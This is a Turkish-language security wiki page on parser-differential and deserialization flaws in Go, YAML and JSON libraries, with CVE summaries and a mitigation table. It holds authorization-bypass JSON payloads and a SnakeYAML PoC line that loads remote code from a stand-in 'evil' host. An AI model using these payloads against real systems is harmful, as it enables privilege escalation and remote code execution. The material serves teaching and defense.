mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
166 lines
6.7 KiB
Markdown
166 lines
6.7 KiB
Markdown
# JSON, XML & Yaml Hacking & Issues
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Go JSON Decoder
|
||
|
||
Aşağıdaki sorunlar Go JSON'da tespit edilmiştir, ancak diğer dillerde de mevcut olabilir. Bu sorunlar [**bu blog yazısında**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) yayınlanmıştır.
|
||
|
||
Go’nun JSON, XML ve YAML ayrıştırıcıları, **kimlik doğrulamasını atlatmak**, **yetkileri yükseltmek** veya **hassas verileri dışa aktarmak** için kötüye kullanılabilecek uzun bir tutarsızlık ve güvensiz varsayılan ayarlar geçmişine sahiptir.
|
||
|
||
### (Un)Marshaling Beklenmeyen Veriler
|
||
|
||
Amaç, bir saldırganın hassas alanları okumak/yazmak için izin verilen yapıları istismar etmektir (örneğin, `IsAdmin`, `Password`).
|
||
|
||
- Örnek Yapı:
|
||
```go
|
||
type User struct {
|
||
Username string `json:"username,omitempty"`
|
||
Password string `json:"password,omitempty"`
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
- Yaygın Güvenlik Açıkları
|
||
|
||
1. **Eksik etiket** (etiket yok = alan varsayılan olarak hala ayrıştırılır):
|
||
```go
|
||
type User struct {
|
||
Username string
|
||
}
|
||
```
|
||
Yük:
|
||
```json
|
||
{"Username": "admin"}
|
||
```
|
||
2. **Yanlış `-` kullanımı**:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
|
||
}
|
||
```
|
||
Yük:
|
||
```json
|
||
{"-": true}
|
||
```
|
||
✔️ Alanın (un)marshalled olmasını engellemenin doğru yolu:
|
||
```go
|
||
type User struct {
|
||
IsAdmin bool `json:"-"`
|
||
}
|
||
```
|
||
### Parser Farklılıkları
|
||
|
||
Amaç, farklı parser'ların aynı yükü nasıl farklı yorumladığını kullanarak yetkilendirmeyi atlatmaktır, örneğin:
|
||
- CVE-2017-12635: Tekrar eden anahtarlar aracılığıyla Apache CouchDB atlatması
|
||
- 2022: XML parser tutarsızlığı aracılığıyla Zoom 0-tıklama RCE
|
||
- GitLab 2025 SAML atlatması aracılığıyla XML tuhaflıkları
|
||
|
||
**1. Tekrar Eden Alanlar:**
|
||
Go'nun `encoding/json` **son** alanı alır.
|
||
```go
|
||
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
|
||
fmt.Println(req.Action) // AdminAction
|
||
```
|
||
Diğer ayrıştırıcılar (örneğin, Java'nın Jackson'ı) **ilk** olanı alabilir.
|
||
|
||
**2. Büyük/Küçük Harf Duyarsızlığı:**
|
||
Go büyük/küçük harf duyarsızdır:
|
||
```go
|
||
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
|
||
// matches `Action` field
|
||
```
|
||
Unicode hileleri bile işe yarar:
|
||
```go
|
||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||
```
|
||
**3. Hizmetler arası uyumsuzluk:**
|
||
Hayal edin:
|
||
- Go ile yazılmış bir Proxy
|
||
- Python ile yazılmış bir AuthZ servisi
|
||
|
||
Saldırgan gönderir:
|
||
```json
|
||
{
|
||
"action": "UserAction",
|
||
"AcTiOn": "AdminAction"
|
||
}
|
||
```
|
||
- Python `UserAction`'ı görür, izin verir
|
||
- Go `AdminAction`'ı görür, yürütür
|
||
|
||
|
||
### Veri Formatı Karışıklığı (Polyglots)
|
||
|
||
Amaç, formatları (JSON/XML/YAML) karıştıran veya ayrıştırıcı hatalarında açık kalan sistemleri istismar etmektir:
|
||
- **CVE-2020-16250**: HashiCorp Vault, STS'nin XML yerine JSON döndürmesinin ardından JSON'u bir XML ayrıştırıcısı ile ayrıştırdı.
|
||
|
||
Saldırganın kontrol ettiği:
|
||
- `Accept: application/json` başlığı
|
||
- JSON gövdesinin kısmi kontrolü
|
||
|
||
Go'nun XML ayrıştırıcısı **yine de** bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.
|
||
|
||
- Özel yük:
|
||
```json
|
||
{
|
||
"action": "Action_1",
|
||
"AcTiOn": "Action_2",
|
||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||
}
|
||
```
|
||
Sonuç:
|
||
- **Go JSON** ayrıştırıcı: `Action_2` (büyük/küçük harf duyarsız + son kazanan)
|
||
- **YAML** ayrıştırıcı: `Action_1` (büyük/küçük harf duyarlı)
|
||
- **XML** ayrıştırıcı: dize içindeki `"Action_3"`'ü ayrıştırır
|
||
|
||
---
|
||
|
||
## Dikkate Değer Ayrıştırıcı Güvenlik Açıkları (2023-2025)
|
||
|
||
> Aşağıdaki kamuya açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu göstermektedir — sadece bir Go problemi değildir.
|
||
|
||
### SnakeYAML Deserialization RCE (CVE-2022-1471)
|
||
|
||
* Etkileyen: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins vb. tarafından kullanılır).
|
||
* Temel neden: `new Constructor()` **rastgele Java sınıflarını** ayrıştırır, uzaktan kod yürütme ile sonuçlanan gadget zincirlerine izin verir.
|
||
* Tek satırlık PoC (savunmasız hostta hesap makinesini açar):
|
||
```yaml
|
||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||
```
|
||
* Düzeltme / Önleme:
|
||
1. **≥2.0'a Yükseltin** (varsayılan olarak `SafeLoader` kullanır).
|
||
2. Eski sürümlerde, açıkça `new Yaml(new SafeConstructor())` kullanın.
|
||
|
||
### libyaml Çift Serbest Bırakma (CVE-2024-35325)
|
||
|
||
* Etkiler: `libyaml` ≤0.2.5 (birçok dil bağlaması tarafından kullanılan C kütüphanesi).
|
||
* Sorun: `yaml_event_delete()` fonksiyonunun iki kez çağrılması, saldırganların DoS veya bazı senaryolarda heap istismarı yapabileceği bir çift serbest bırakmaya yol açar.
|
||
* Durum: Üst akış “API kötüye kullanımı” olarak reddetti, ancak Linux dağıtımları, işaretçiyi savunmacı bir şekilde null-serbest bırakan yamanmış **0.2.6** sürümünü gönderdi.
|
||
|
||
### RapidJSON Tam Sayı (Alt|Üst)-taşma (CVE-2024-38517 / CVE-2024-39684)
|
||
|
||
* Etkiler: Tencent **RapidJSON** `8269bc2` commit'inden önce (<1.1.0-patch-22).
|
||
* Hata: `GenericReader::ParseNumber()` içinde kontrolsüz aritmetik, saldırganların büyük sayısal literaller oluşturmasına izin verir; bu literaller sarılır ve heap'i bozar — sonuçta, elde edilen nesne grafiği yetkilendirme kararları için kullanıldığında ayrıcalık yükseltmesine olanak tanır.
|
||
|
||
---
|
||
|
||
### 🔐 Önlemler (Güncellenmiş)
|
||
|
||
| Risk | Düzeltme / Öneri |
|
||
|-------------------------------------|------------------------------------------------------------|
|
||
| Bilinmeyen alanlar (JSON) | `decoder.DisallowUnknownFields()` |
|
||
| Tekrar eden alanlar (JSON) | ❌ stdlib'de düzeltme yok — [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) ile doğrulayın |
|
||
| Büyük/küçük harf duyarsız eşleşme (Go) | ❌ Düzeltme yok — yapı etiketlerini doğrulayın + girdi ön-canonize edin |
|
||
| XML çöp verisi / XXE | Sertleştirilmiş bir ayrıştırıcı kullanın (`encoding/xml` + `DisallowDTD`) |
|
||
| YAML bilinmeyen anahtarlar | `yaml.KnownFields(true)` |
|
||
| **Güvensiz YAML serileştirmesi** | SafeConstructor kullanın / SnakeYAML ≥2.0'a yükseltin |
|
||
| libyaml ≤0.2.5 çift serbest bırakma | **0.2.6** veya dağıtım yamanmış sürüme yükseltin |
|
||
| RapidJSON <yamanmış commit | En son RapidJSON ile derleyin (≥Temmuz 2024) |
|
||
|
||
## Referanslar
|
||
|
||
- Baeldung – “SnakeYAML 2.0 ile CVE-2022-1471'i Çözme”
|
||
- Ubuntu Güvenlik İzleyici – CVE-2024-35325 (libyaml)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|